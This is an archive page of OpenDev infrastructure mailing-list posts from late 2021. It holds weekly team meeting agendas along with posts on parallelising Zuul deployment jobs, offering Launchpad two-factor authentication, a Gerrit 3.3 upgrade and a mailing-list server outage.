by Ian Wienand 06 Dec '21

06 Dec '21

Hi, To recap: currently production deployment jobs run sequentially. Zuul starts the job on an executor, which is setup to log into the bastion host. The job sets up the system-config playbooks on the bastion host and Ansible is run from there against the production server. To run in parallel, each job needs to not assume it owns the system-config playbooks on the bastion host. Each Zuul *buildset* can use the same system-config playbook checkout though. To achieve this we need to rework the dependencies; each production job needs to depend on a common source-setup job. Once the source is setup on the bastion host, the actual production jobs can run in parallel. To the changes... Firstly, I believe we're doing the setup steps for the executor to log into bridge twice: https://review.opendev.org/c/opendev/system-config/+/818190 removes this duplication, and should be safe to merge. As pointed out in prior reviews when running in the periodic or hourly pipelines each job overrides that bastion host checkout to master. https://review.opendev.org/c/opendev/base-jobs/+/818189 moves this step into base-jobs, in preparation for only being done once by the separate source-setup job. I believe this will be safe to merge; system-config will just do it again in an idempotent way, until: https://review.opendev.org/c/opendev/system-config/+/818191 merges, which drops this step from system-config. We can then merge the system-config job dependency updates in https://review.opendev.org/c/opendev/system-config/+/807672 This should mean that all jobs not only rely on the correct base jobs, but jobs that need certificates, etc. will be relying on the letsencrypt job, etc. This should be safe to merge as nothing should actually change, we just have stricter dependencies. After this, I think we are ready to refactor the base jobs into the two separate steps -- firstly setup the keys on the executor to log into the bastion host, then setup the source to use on the bastion host: https://review.opendev.org/c/opendev/base-jobs/+/807807 This initial refactor should be safe to merge as it creates two new jobs, but the existing base job keeps running both steps as-is. Then we are ready for the penultimate change: https://review.opendev.org/c/opendev/system-config/+/807808 This updates the system-config jobs to all depend on "infra-prod-setup-src" which will be the canonical job that sets up the source repository on bridge.o.o. All other jobs in the buildset will depend on this job, ensuring consistency for a run. This should also be safe, as it again doesn't actually change ordering. Once all this is in, we need the final change to enable parallel running (and think about correct semaphores between periodic/hourly and regular runs). That is yet to be written, but we have enough to get to that point! -i

1 1

Team Meeting Agenda for December 7, 2021
by Clark Boylan 06 Dec '21

06 Dec '21

Hello, We will meet with this agenda on December 7, 2021 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20211207) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies *** We ended up in a weird spot after relying on the per buildset update source job: **** We weren't syncing updated repo content to bridge but to a single use test node **** We weren't hard depending on the job so if it didn't run we would run the other jobs without updated sources **** We weren't adding the update source job to hourly and daily periodic buildsets *** Next steps happening in https://review.opendev.org/c/opendev/system-config/+/820320 ** User management on our systems (clarkb 20211207) *** Still struggling with matrix-gerritbot. Now openssh on it complains that uid 11000 doesn't exist. *** Eventually convert mariadb container's from uid 999 to something that makes more sense on the system. ** Adding a lists.openinfra.dev mailman site (fungi 20211207) *** Ansible newlist invocations still struggling *** https://review.opendev.org/c/opendev/system-config/+/820397 and parent are a stack to investigate and fix this. ** keycloak.opendev.org exists now (clarkb 20211207) *** This can be used to gain more familiarity with the tool to implement our authentication spec. *** Are we treating this as production ready? Might be good to avoid that for now while we investigate how to apply this to our previous spec? ** Gerrit User Summit (clarkb 20211207) *** Gerrit 3.2 is EOL *** We can integrate with the new Checks UI stuff if we implement a Checks plugin for Zuul. **** This plugin would run within Gerrit and poll an API on the Zuul side for CI results and render them in a consistent manner. *** Composable Submit Requirements **** This is a new system for expressing what is required to merge a change **** Relies on boolean query language using Gerrit's existing query predicates. **** Mostly we should be careful to avoid accidentally allowing too much access when this shows up. *** ChronicleMap libmodule plugin persistent caches **** This replaces H2 caches for a number of things and gives the caches persistence. Can apparently have a big impact on performance **** One suggestion was that Gerrit incorporate this by default. ** Spring cleaning our Nodepool images (clarkb 20211207) *** CentOS 8, Fedora 34, Gentoo, OpenSUSE 15, and OpenSUSE tumbleweed are either EOL, going EOL, or lacking care necessary to keep building up to date images. *** https://etherpad.opendev.org/p/xvu2oKUQVLiHIHsvGRUt draft communications for proposed cleanups. * Open discussion

1 0

UbuntuOne/Launchpad two-factor authentication
by Jeremy Stanley 01 Dec '21

01 Dec '21

For a little over a year Ian, Clark and I have been using the multi-factor authentication feature of UbuntuOne SSO (i.e. Launchpad) in order to more strongly secure the accounts we rely on for OpenID logins to the Web interfaces of our services like Gerrit and StoryBoard. It's gone smoothly, I think, and so we're probably overdue on our plan to offer this capability to other OpenDev users. Support for this is not enabled by default, your SSO account needs to be a member of a group which is granted the feature. We have one such group authorized for this purpose, which can be found here: https://launchpad.net/~opendev-2fa Please see the information and important caveats documented in the group description. I expect the process would be something like using the LP group members page to request membership for your account, and then one of the group administrators would approve the request, after which you would be able to proceed with configuration of your token or other HOTP/TOTP authenticator. I'm bringing it up here first for discussion, in order to see if anyone has any concerns or related suggestions, but barring none I'd like to move forward with a "soft" (quiet) call for wider testing the first week of December. -- Jeremy Stanley

3 5

Team Meeting Agenda for November 30, 2021
by Clark Boylan 29 Nov '21

29 Nov '21

We will meet with this agenda on November 30, 2021 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** Gerrit User Summit happening December 2&3 virtually. * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20211130) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies *** https://review.opendev.org/c/opendev/system-config/+/807808 Update system-config once per buildset. *** https://review.opendev.org/c/opendev/base-jobs/+/818297/ Reduce actions needed to be taken in base-jobs. *** Next up is thinking about semaphores and actually trying to run jobs in parallel. Dependencies should be correct. ** Zuul multi scheduler setup (clarkb 20211130) *** Possible for zuul updates to break rolling system updates. Not sure if we've got signal on when that happens yet. ** User management on our systems (clarkb 20211130) *** Ran into problems with matrix-gerritbot. There is an updated image we can pull and use to try again. *** Eventually convert mariadb container's from uid 999 to something that makes more sense on the system. ** UbuntuOne/Launchpad two-factor OpenID authentication availability (fungi 20211130) *** http://lists.opendev.org/pipermail/service-discuss/2021-November/000298.html ** Adding a lists.openinfra.dev mailman site (fungi 20211130) *** https://review.opendev.org/818826 ** Proxying and caching Ansible Galaxy in our providers (fungi 20211130) *** https://review.opendev.org/818787 ** Gerrit Account cleanups (clarkb 20211130) *** 33 conflicts remain. Clarkb has written notes on proposed plans for each user in the comments of review02:~clarkb/gerrit_user_cleanups/audit-results-annotated.yaml * Open discussion

1 0

Infra Team Meeting Agenda for November 16, 2021
by Clark Boylan 15 Nov '21

15 Nov '21

We will meet with this agenda on November 16, 2021 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** Gerrit User Summit happening December 2&3 virtually. ** clarkb out next week. Should we skip the meeting on November 23? * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20211116) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. **** https://review.opendev.org/c/opendev/system-config/+/807672 ***** should list dependencies for all jobs ***** zuul doesn't trigger on this? not sure on best approach to make it mergable **** https://review.opendev.org/c/opendev/base-jobs/+/807807 ***** currently every executor adds keys for bridge, then logs in and clones system-config before running playbooks ***** this change makes split jobs to do this. however, production remains the same as both are called. **** https://review.opendev.org/c/opendev/system-config/+/807808 ***** this is a follow-on that adds a base job to clone system-config, and stops the other production jobs re-cloning. ***** this job must run first, but then all other jobs can run in parallel, as they are all in the same buildset and using the same "view" of system-config for that particular run ** Gerrit Account cleanups (clarkb 20211116) *** 33 conflicts remain. Clarkb has written notes on proposed plans for each user in the comments of review02:~clarkb/gerrit_user_cleanups/audit-results-annotated.yaml ** Zuul multi scheduler setup (clarkb 20211116) *** Zuul is currently running with two schedulers (zuul01.o.o and zuul02.o.o with zuul02.o.o being "primary") *** Did first rolling restart of schedulers over the weekend. *** Zuul-web should return consistent results now as it talk to ZooKeeper directly. ** User management on our systems (clarkb 20211116) *** Give gerritbot and matrix-gerritbot a shared user: https://review.opendev.org/c/opendev/system-config/+/816769/ *** Eventually convert mariadb container's from uid 999 to something that makes more sense on the system. ** Caching openstack/openstack on our DIB images (clarkb 20211116) *** There are semi frequent errors when updating the DIB cache for openstack/openstack *** Seems related to verifying or updating submodule content. *** Should we simply stop caching this repo entirely? It isn't really used for much. * Open discussion

1 0

Team Meeting Agenda for November 9, 2021
by Clark Boylan 08 Nov '21

08 Nov '21

Hello, we will meet on November 9, 2021 at 19:00UTC in #opendev-meeting with this agenda (note the DST change in many parts of the world): == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review * Topics ** Improving OpenDev's CD throughput (clarkb 20211109) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. **** https://review.opendev.org/c/opendev/system-config/+/807672 ***** should list dependencies for all jobs ***** zuul doesn't trigger on this? not sure on best approach to make it mergable **** https://review.opendev.org/c/opendev/base-jobs/+/807807 ***** currently every executor adds keys for bridge, then logs in and clones system-config before running playbooks ***** this change makes split jobs to do this. however, production remains the same as both are called. **** https://review.opendev.org/c/opendev/system-config/+/807808 ***** this is a follow-on that adds a base job to clone system-config, and stops the other production jobs re-cloning. ***** this job must run first, but then all other jobs can run in parallel, as they are all in the same buildset and using the same "view" of system-config for that particular run ** Gerrit Account cleanups (clarkb 20211109) *** 33 conflicts remain. Clarkb has written notes on proposed plans for each user in the comments of review02:~clarkb/gerrit_user_cleanups/audit-results-annotated.yaml ** Zuul multi scheduler setup (clarkb 20211109) *** Zuul is currently running with two schedulers (zuul01.o.o and zuul02.o.o with zuul02.o.o being "primary") *** We have tracked down a number of bugs Monday with corvus fixing many of them. *** Overall seems stable enough. *** Note the "flapping" status page can be weird. ** User management on our systems (clarkb 20211109) *** Be explicit about uid/gid ranges: https://review.opendev.org/c/opendev/system-config/+/816869/ **** 0-999 system, 1000-1999 unallocated, 2000-2999 for infra-root users, 3000-9999 host level users, 10k - 64k container users that need uids on the host as well for bind mounts. *** Clean up unused bootstrapping users: https://review.opendev.org/c/opendev/system-config/+/816771 *** Give gerritbot and matrix-gerritbot a shared user: https://review.opendev.org/c/opendev/system-config/+/816769/ *** Eventually convert mariadb container's from uid 999 to something that makes more sense on the system. * Open discussion

1 0

Infra Team Meeting Agenda for November 2, 2021
by Clark Boylan 01 Nov '21

01 Nov '21

We will meet on November 2, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** Gerrit User Summit details arriving soon. I've been told they would be interested to hear from us on how we do automated testing and management of Gerrit. * Actions from last meeting * Specs Review ** Mailman 3 spec https://review.opendev.org/810990 * Topics ** Improving OpenDev's CD throughput (clarkb 20211102) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. **** https://review.opendev.org/c/opendev/system-config/+/807672 ***** should list dependencies for all jobs ***** zuul doesn't trigger on this? not sure on best approach to make it mergable **** https://review.opendev.org/c/opendev/base-jobs/+/807807 ***** currently every executor adds keys for bridge, then logs in and clones system-config before running playbooks ***** this change makes split jobs to do this. however, production remains the same as both are called. **** https://review.opendev.org/c/opendev/system-config/+/807808 ***** this is a follow-on that adds a base job to clone system-config, and stops the other production jobs re-cloning. ***** this job must run first, but then all other jobs can run in parallel, as they are all in the same buildset and using the same "view" of system-config for that particular run ** Gerrit Account cleanups (clarkb 20211102) *** 33 conflicts remain. Clarkb has written notes on proposed plans for each user in the comments of review02:~clarkb/gerrit_user_cleanups/audit-results-annotated.yaml ** Fedora 34 test node booting problems (clarkb 20211102) *** Changes to Fedora's kernel packaging broke Xen *** Not yet sure if that may have also somehow broken OVH and iweb. ** Zuul multi scheduler setup (clarkb 20211102) *** Zuul ran with two schedulers for the first time over the last weekend. *** First jobs started by one scheduler and completed by another ran. *** Had to revert due to bugs in caching. *** Expect Zuul restarts as the scale out scheduler work in Zuul progresses. ** FIPS testing in our CI system (clarkb 20211102) *** There is interest in testing various pieces of software against FIPS enabled systems in our Zuul. *** We are not building special FIPS images instead a Zuul role exists to update supported platforms and boot them into FIPS mode. *** Some tests have problems with ephemeral state being lost if the FIPS role runs too late. Then tests fail for unexpected reasons. Worth checking on reboot ordering relative to other test setup if there are problems. * Open discussion

1 0

Team Meeting Agenda for October 26, 2021
by Clark Boylan 25 Oct '21

25 Oct '21

We will meet on October 26, 2021 at 19:00UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review ** Mailman 3 spec https://review.opendev.org/810990 * Topics ** Improving OpenDev's CD throughput (clarkb 20211026) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. **** https://review.opendev.org/c/opendev/system-config/+/807672 ***** should list dependencies for all jobs ***** zuul doesn't trigger on this? not sure on best approach to make it mergable **** https://review.opendev.org/c/opendev/base-jobs/+/807807 ***** currently every executor adds keys for bridge, then logs in and clones system-config before running playbooks ***** this change makes split jobs to do this. however, production remains the same as both are called. **** https://review.opendev.org/c/opendev/system-config/+/807808 ***** this is a follow-on that adds a base job to clone system-config, and stops the other production jobs re-cloning. ***** this job must run first, but then all other jobs can run in parallel, as they are all in the same buildset and using the same "view" of system-config for that particular run ** Gerrit Account cleanups (clarkb 20211026) *** 33 conflicts remain. Clarkb has written notes on proposed plans for each user in the comments of review02:~clarkb/gerrit_user_cleanups/audit-results-annotated.yaml ** Fedora 34 test node booting problems (clarkb 20211026) *** Changes to Fedora's kernel packaging broke Xen *** Not yet sure if that may have also somehow broken OVH and iweb. ** Begin planning for Gerrit 3.4 upgrade (clarkb 20211026) *** Read through release notes and identify areas of concern. **** https://www.gerritcodereview.com/3.4.html *** Do we need to modify system-config-run-review-3.4 or system-config-upgrade-review jobs to test any specific behaviors? *** Probably worth holding a 3.4 test node and doing a skim for any unexpected behaviors. * Open discussion

1 0

Team Meeting Agenda for October 19, 2021
by Clark Boylan 18 Oct '21

18 Oct '21

We will meet October 19, 2021 at 19:00UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** PTG this week. *** OpenDev session Wednesday October 20, 2021 at 14:00 - 16:00 UTC in https://meetpad.opendev.org/oct2021-ptg-opendev *** Zuul session Thursday October 21, 2021 at 14:00 UTC in https://meetpad.opendev.org/zuul-2021-10-21 * Actions from last meeting * Specs Review ** Mailman 3 spec https://review.opendev.org/810990 * Topics ** Improving OpenDev's CD throughput (clarkb 20211019) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. **** https://review.opendev.org/c/opendev/system-config/+/807672 ***** should list dependencies for all jobs ***** zuul doesn't trigger on this? not sure on best approach to make it mergable **** https://review.opendev.org/c/opendev/base-jobs/+/807807 ***** currently every executor adds keys for bridge, then logs in and clones system-config before running playbooks ***** this change makes split jobs to do this. however, production remains the same as both are called. **** https://review.opendev.org/c/opendev/system-config/+/807808 ***** this is a follow-on that adds a base job to clone system-config, and stops the other production jobs re-cloning. ***** this job must run first, but then all other jobs can run in parallel, as they are all in the same buildset and using the same "view" of system-config for that particular run ** Gerrit Account cleanups (clarkb 20211019) *** 33 conflicts remain. Clarkb has written notes on proposed plans for each user in the comments of review02:~clarkb/gerrit_user_cleanups/audit-results-annotated.yaml ** Gerrit project renames (clarkb 20211019) *** Overall went well. *** Possible trouble renaming secrets and doing ZK secrets backups? *** We accidentally updated all Gitea projects. Should we just do that by default: https://review.opendev.org/c/opendev/system-config/+/814443 ? ** Improve zuul restarts (frickler 20211014) *** Docs at https://docs.opendev.org/opendev/system-config/latest/zuul.html#restarting-… need updating **** What to restart (scheduler,web,fingergw?) and how (docker restart vs. docker-compose) **** When to run the re-enqueue **** Collecting debug information *** Don't reenqueue periodic jobs * Open discussion Note the PTG is happening, if there are conflicts we can probably focus on the most important items (zuul restart docs and post project rename stuff) and keep the meeting short.

1 0

Gerrit 3.3 upgrade: dashboards and attention sets
by Ian Wienand 12 Oct '21

12 Oct '21

Hello You may have noticed the recent upgrade of Gerrit to version 3.3 on review.opendev.org. We note two things users should be aware of - Dashboard links If your dashboard uses https://review.opendev.org/#/dashboard/... it may no longer work, despite being the documented way to create dashboards. We are currently unclear if this is a bug or a feature [1] but in the mean time, removing the "/#/" (i.e. just use https://review.opendev.org/dashboard/...) makes things work. - Attention sets You have hopefully seen a new section on the main page "Your Turn". This is the Gerrit "Attention Set" feature [2]. This is an optional feature, but we feel it is worth spending some time with it to see how this can fit into our workflows. One thing to be aware of is that adding a vote by default adds the uploader in the attention set. While this makes sense in some models (particuarly non-gating where you are expected to merge yourself), in our environment usually adding a +1 or +2 with no comments is not something that needs the attention of the uploader -- it's either waiting for more review, or Zuul will merge it after gating tests. At the bottom of the modal box where you are inputting your votes you can easily modify the attention set. Look out for it next time you're reviewing! Consider removing others if your comments do not require new attention. If we pollute other people's attention lists with changes that don't actually need their attention the feature will not be useful. So it is worth us all trying to work with the system and be mindful of who and when we add people (we have raised an issue to discuss our workflow with this feature, but it will not be an instant fix [3]). Thanks! OpenDev Admins [1] https://groups.google.com/g/repo-discuss [2] https://gerrit-review.googlesource.com/Documentation/user-attention-set.html [3] https://bugs.chromium.org/p/gerrit/issues/detail?id=15154

1 0

OpenDev PTG Planning
by Clark Boylan 12 Oct '21

12 Oct '21

Hello, The OpenDev team is participating in next week's PTG by holding office hours during a two hour block of time. Join us October 20, 2021 at 14:00 - 16:00 UTC in https://meetpad.opendev.org/oct2021-ptg-opendev to discuss OpenDev related questions, concerns, services and whatever else you might want to talk about. We do ask that you add your topics to our etherpad, https://etherpad.opendev.org/p/oct2021-ptg-opendev, to help us prepare, prioritize, and do simple scheduling during our block of time. See you there, Clark

1 0

Team Meeting Agenda for October 12, 2021
by Clark Boylan 11 Oct '21

11 Oct '21

We will meet on October 12, 2021 at 19:00UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review ** Prometheus spec https://review.opendev.org/c/opendev/infra-specs/+/804122 *** This appears to have the votes. Plan to merge it Thursday 23:00UTC ish if no objections show up. ** Mailman 3 spec https://review.opendev.org/810990 *** Can use more reviews, but looks good to clarkb. * Topics ** Improving OpenDev's CD throughput (clarkb 20211012) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. **** https://review.opendev.org/c/opendev/system-config/+/807672 ***** should list dependencies for all jobs ***** zuul doesn't trigger on this? not sure on best approach to make it mergable **** https://review.opendev.org/c/opendev/base-jobs/+/807807 ***** currently every executor adds keys for bridge, then logs in and clones system-config before running playbooks ***** this change makes split jobs to do this. however, production remains the same as both are called. **** https://review.opendev.org/c/opendev/system-config/+/807808 ***** this is a follow-on that adds a base job to clone system-config, and stops the other production jobs re-cloning. ***** this job must run first, but then all other jobs can run in parallel, as they are all in the same buildset and using the same "view" of system-config for that particular run ** Gerrit Account cleanups (clarkb 20211012) *** 33 conflicts remain. Clarkb has written notes on proposed plans for each user in the comments of review02:~clarkb/gerrit_user_cleanups/audit-results-annotated.yaml ** Scheduling Gerrit project renames (clarkb 20211012) *** October 15 at 18:00UTC. *** Now is the time to make sure projects have their changes in order and that we are ready. *** Updating the process to update project metadata on renamed projects ** Upgrading to Gerrit 3.3 (ianw 20211012) *** Upgrade happened over the weekend. Went very smoothly *** clarkb has been using hashtag:gerrit-3.3 to track post upgrade changes that we want to land related to the upgrade *** Are we ready to drop the 3.2 images? https://review.opendev.org/c/opendev/system-config/+/813074 *** Next up 3.4! * Open discussion

1 0

Team Meeting Agenda for October 5, 2021
by Clark Boylan 04 Oct '21

04 Oct '21

Hello, we will meet with this agenda on October 5, 2021 at 19:00UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** OpenStack Release tomorrow * Actions from last meeting * Specs Review ** Prometheus spec https://review.opendev.org/c/opendev/infra-specs/+/804122 *** Need to update to propose running node exporter from their shipped binary. ** Mailman 3 spec https://review.opendev.org/810990 * Topics ** Improving OpenDev's CD throughput (clarkb 20211005) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. **** https://review.opendev.org/c/opendev/system-config/+/807672 ***** should list dependencies for all jobs ***** zuul doesn't trigger on this? not sure on best approach to make it mergable **** https://review.opendev.org/c/opendev/base-jobs/+/807807 ***** currently every executor adds keys for bridge, then logs in and clones system-config before running playbooks ***** this change makes split jobs to do this. however, production remains the same as both are called. **** https://review.opendev.org/c/opendev/system-config/+/807808 ***** this is a follow-on that adds a base job to clone system-config, and stops the other production jobs re-cloning. ***** this job must run first, but then all other jobs can run in parallel, as they are all in the same buildset and using the same "view" of system-config for that particular run ** Gerrit Account cleanups (clarkb 20211005) *** 33 conflicts remain. Clarkb has written notes on proposed plans for each user in the comments of review02:~clarkb/gerrit_user_cleanups/audit-results-annotated.yaml ** Debian Buster to Bullseye Updates (clarkb 20211005) *** https://review.opendev.org/c/opendev/system-config/+/809269 Gitea bullseye update *** https://review.opendev.org/c/opendev/system-config/+/809286 Gerrit bullseye update ** Gitea 1.15.3 Upgrade (clarkb 20211005) *** https://review.opendev.org/c/opendev/system-config/+/803231 ** Upgrading to Gerrit 3.3 (ianw 20211005) *** 3.4 is a much bigger jump and will need more care. Clarkb suggests we get to 3.3 soon then plan 3.4. ** Scheduling Gerrit project renames (clarkb 20211005) *** Penciled in the week of October 11-15 *** Updating the process to update project metadata on renamed projects * Open discussion

1 0

Team Meeting Agenda for September 28, 2021
by Clark Boylan 27 Sep '21

27 Sep '21

We will meet on September 28, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review ** Prometheus spec https://review.opendev.org/c/opendev/infra-specs/+/804122 *** Need to decide on using node-exporter or snmp-exporter. *** Seems like running node-exporter in docker is weird but doable. Using distro packages exposes us to changing metric names as they are all pre 1.0 release. ** Mailman 3 spec https://review.opendev.org/810990 * Topics ** Improving OpenDev's CD throughput (clarkb 20210921) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. **** https://review.opendev.org/c/opendev/system-config/+/807672/ starts to sketch this out. ** Gerrit Account cleanups (clarkb 20210921) *** 33 conflicts remain. Clarkb has written notes on proposed plans for each user in the comments of review02:~clarkb/gerrit_user_cleanups/audit-results-annotated.yaml ** OpenDev logo hosting (clarkb 20210921) *** Fix for Gerrit logo hosting https://review.opendev.org/c/opendev/system-config/+/811233 ** Gitea 1.15.3 Upgrade (clarkb 20210928) *** https://review.opendev.org/c/opendev/system-config/+/803231 ** Scheduling Gerrit project renames (clarkb 20210921) *** Penciled in the week of October 11-15 *** Updating the process to update project metadata on renamed projects * Open discussion

1 0

Infra Team Meeting Agenda for September 21, 2021
by Clark Boylan 20 Sep '21

20 Sep '21

We will meet on September 21, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs Review ** Prometheus spec https://review.opendev.org/c/opendev/infra-specs/+/804122 *** Need to decide on using node-exporter or snmp-exporter. *** Seems like running node-exporter in docker is weird but doable. Using distro packages exposes us to changing metric names as they are all pre 1.0 release. * Topics ** Mailman Ansible and Server Upgrades (clarkb 20210921) *** lists.openstack.org is running focal now **** Kernel packages have been pinned. If you update the kernel you need to decompress it. **** Fungi is working on a mailman3 spec. We can decide the best route for replacing the server with that context. ** Improving OpenDev's CD throughput (clarkb 20210921) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. **** https://review.opendev.org/c/opendev/system-config/+/807672/ starts to sketch this out. ** Gerrit Account cleanups (clarkb 20210921) *** 33 conflicts remain. Clarkb has written notes on proposed plans for each user in the comments of review02:~clarkb/gerrit_user_cleanups/audit-results-annotated.yaml ** OpenDev logo hosting (clarkb 20210921) *** Stack at https://review.opendev.org/c/opendev/system-config/+/809510 migrates services to the new asset locations. ** Scheduling Gerrit project renames (clarkb 20210921) *** Penciled in the week of October 11-15 ** Gerrit replication "leaks" (clarkb 20210921) *** We've added a 15 minute network timeout to the gerrit config. Need to restart the server to pick that up. ** InMotion cloud has been scaled up (clarkb 20210921) *** We need to work on tuning the over subscription ratios. * Open discussion

1 0

Mailing lists offline 2021-09-12 for server upgrade
by Jeremy Stanley 14 Sep '21

14 Sep '21

On Sunday, September 12, the OpenDev sysadmins will be performing operating system upgrades for the server hosting the lists.airshipit.org, lists.opendev.org, lists.openstack.org, lists.starlingx.io, and lists.zuul-ci.org sites. Expect extended outages for message delivery and access to archives between 15:00 UTC and 21:00 UTC, though messages sent to the mailing lists at these sites should queue normally and be delivered automatically after maintenance activities have concluded. If you have any questions, feel free to reply to this message, or find us in the #opendev channel on the OFTC IRC network. -- Jeremy Stanley

1 2

Team Meeting Agenda for September 14, 2021
by Clark Boylan 13 Sep '21

13 Sep '21

We will meet September 14, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Topics ** Mailman Ansible and Server Upgrades (clarkb 20210914) *** lists.openstack.org is running focal now **** Number of manual edits made to services captured in https://review.opendev.org/c/opendev/system-config/+/808570 **** Ran into issues with Xen being able to boot lz4 compressed kernels **** We decompressed the kernel but that still failed **** We installed grub-xen then set up a chainload situation to a xen specific grub preloader via /boot/grub/menu.lst **** This chainload situation may not need a compressed kernel? If it doesn't this server may be viable long term and we can document things. **** We should consider replacing the server to get away from Xen PV weirdness and to maybe use a floating IP which can be moved between upgraded instances in the future. ** Improving OpenDev's CD throughput (clarkb 20210914) *** We can run many of our jobs in parallel in all of our CD pipelines. But this requires we properly document/address dependencies **** Need to understand our job dependencies and properly note them in Zuul config or address them by combining jobs. ***** Example 1: Combine service-gitea-lb and service-gitea jobs. ***** Example 2: Combine letsencrypt and nameserver jobs ***** Example 3: Have all jobs with webserver config express a dependency on the letsencrypt job **** Suggest we document the known job dependencies in a human readable format, then encode this into zuul, then we can switch to parallel runs. **** https://review.opendev.org/c/opendev/system-config/+/807672/ starts to sketch this out. ** Gerrit Account cleanups (clarkb 20210914) *** 33 conflicts remain. Clarkb has written notes on proposed plans for each user in the comments of review02:~clarkb/gerrit_user_cleanups/audit-results-annotated.yaml ** OpenDev logo hosting (clarkb 20210914) *** Next up would be updating paste and gerrit. Then we can safely upgrade the gitea server without impacting theming on other services. ** Working with InMotion Friday to increase IP addr allocation and scale up (clarkb 20210914) *** Will try to debug instance launch failures there prior to Friday. ** Scheduling Gerrit project renames (clarkb 20210914) *** We've got a few of these showing up now. We should look at a calendar and pencil in some plans. * Open discussion

1 0

Team meeting agenda for September 7, 2021
by Clark Boylan 07 Sep '21

07 Sep '21

